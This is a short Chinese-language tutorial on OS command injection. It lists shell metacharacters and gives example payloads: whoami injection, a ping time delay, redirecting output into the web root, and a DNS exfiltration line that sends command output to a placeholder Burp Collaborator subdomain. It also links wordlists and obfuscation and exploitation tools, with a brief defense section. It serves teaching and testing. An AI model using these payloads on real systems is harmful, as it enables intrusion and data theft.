介绍

命令注入漏洞是一种允许攻击者在运行应用程序的服务器上执行任意操作系统命令,攻击者通过会利用此漏洞来破坏基础设施的其他部分,利用信任关系将攻击转向组织内的其他系统

攻击

1. 元字符

  1. &
  2. ;
  3. 换行符 (0x0a or \n)
  4. &&
  5. |
  6. ||
  7. `
  8. ()
  9. $()
  1. # 正常的 HTTP 请求
  2. https://vulnerable-website.com/endpoint?parameter=123
  3. # payload
  4. https://vulnerable-website.com/endpoint?parameter=1|whoami

2. 时间延迟

大多数操作系统命令注入都是盲注,不会为我们产生任何输出,我们可以使用时间延迟来验证命令注入

  1. # ping -c 10 127.0.0.1
  2. https://vulnerable-website.com/endpoint?parameter=x||ping+-c+10+127.0.0.1||

3. 重定向输出

我们可以将注入命令的输出重定向到 WEB 根目录的一个文件中,然后访问它

  1. https://vulnerable-website.com/endpoint?parameter=12||whoami>/var/www/images/output.txt||

4. 使用 OAST 进行操作系统命令注入

这其实是利用 DNS 的一种技术, 在 DNS 隧道技术中也有着应用

  1. 注入点=||nslookup+`whoami`.YOUR-SUBDOMAIN-HERE.burpcollaborator.net||

检查基于 DNS 的数据泄露的在线工具:

  • dnsbin.zhack.ca
  • pingb.in

防御

到目前为止,防止操作系统命令注入漏洞的最有效方法是永远不要从应用层代码中调用操作系统命令。

在很多情况下,都有使用更安全的平台API实现所需功能的替代方法。

如果使用用户提供的输入向操作系统命令发出呼叫被认为是不可避免的,则必须执行强输入验证。有效验证的一些示例包括:

  • 对准允许值的白名单进行验证。
  • 验证输入是一个数字。
  • 验证输入仅包含字母数字字符,没有其他语法或空白。

绕过

命令注入绕过方式总结 - Leticia’s Blog

扩展

暴力检测列表

一个比较小的检测列表

命令注入.txt

比较大的字典

Auto_Wordlists/command_injection.txt at main · carlospolop/Auto_Wordlists

工具

GitHub - Bashfuscator : 适用于 Linux bash 混淆命令

GitHub - Invoke-DOSfuscation : 适用于 Windows 的混淆命令

GitHub - commixproject/commix: Automated All-in-One OS Command Injection Exploitation Tool. 自动化注入工具